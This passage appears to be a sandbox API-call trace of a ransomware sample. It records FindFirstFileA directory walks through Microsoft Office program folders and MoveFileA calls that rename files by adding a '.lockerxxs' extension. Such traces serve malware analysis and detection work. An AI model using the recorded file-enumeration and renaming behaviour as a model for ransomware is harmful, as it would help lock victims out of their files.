lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0061.997] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4dc230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4dc230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.001] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd502390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd502390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.008] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.013] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.017] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.022] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5284f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5284f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.025] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.031] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.035] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.040] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png.lockerxxs")) returned 1 [0062.050] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png.lockerxxs")) returned 1 [0062.051] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.054] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.058] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f837a, cFileName=".", cAlternateFileName="")) returned 0x4f81d0 [0062.087] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat.lockerxxs")) returned 1 [0062.295] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc.lockerxxs")) returned 1 [0062.457] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt.lockerxxs")) returned 1 [0062.560] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls.lockerxxs")) returned 1 [0062.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc.lockerxxs")) returned 1 [0062.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt.lockerxxs")) returned 1 [0062.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls.lockerxxs")) returned 1 [0062.734] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchkey.dat.lockerxxs")) returned 1 [0063.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.lockerxxs")) returned 1 [0063.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLTS.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlts.dat.lockerxxs")) returned 1 [0063.063] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHPHN.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchphn.dat.lockerxxs")) returned 1 [0063.429] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.lockerxxs")) returned 1 [0063.431] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8260, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.570] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.601] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8260, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.631] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50f6a840, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50f6a840, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8260, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.644] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0063.649] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0063.656] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.669] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm.lockerxxs")) returned 1 [0063.671] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0063.677] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0063.686] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.694] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8200, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0063.697] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0063.705] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0063.712] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x4f8198 [0063.715] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.724] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x4f81a6, cFileName=".", cAlternateFileName="")) returned 0x4f81a8 [0063.725] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8120 [0063.726] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x4f8160 [0063.739] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat.lockerxxs")) returned 1 [0063.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat.lockerxxs")) returned 1 [0063.745] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*.*", lpFindFileData=0x18f8f8 | out: 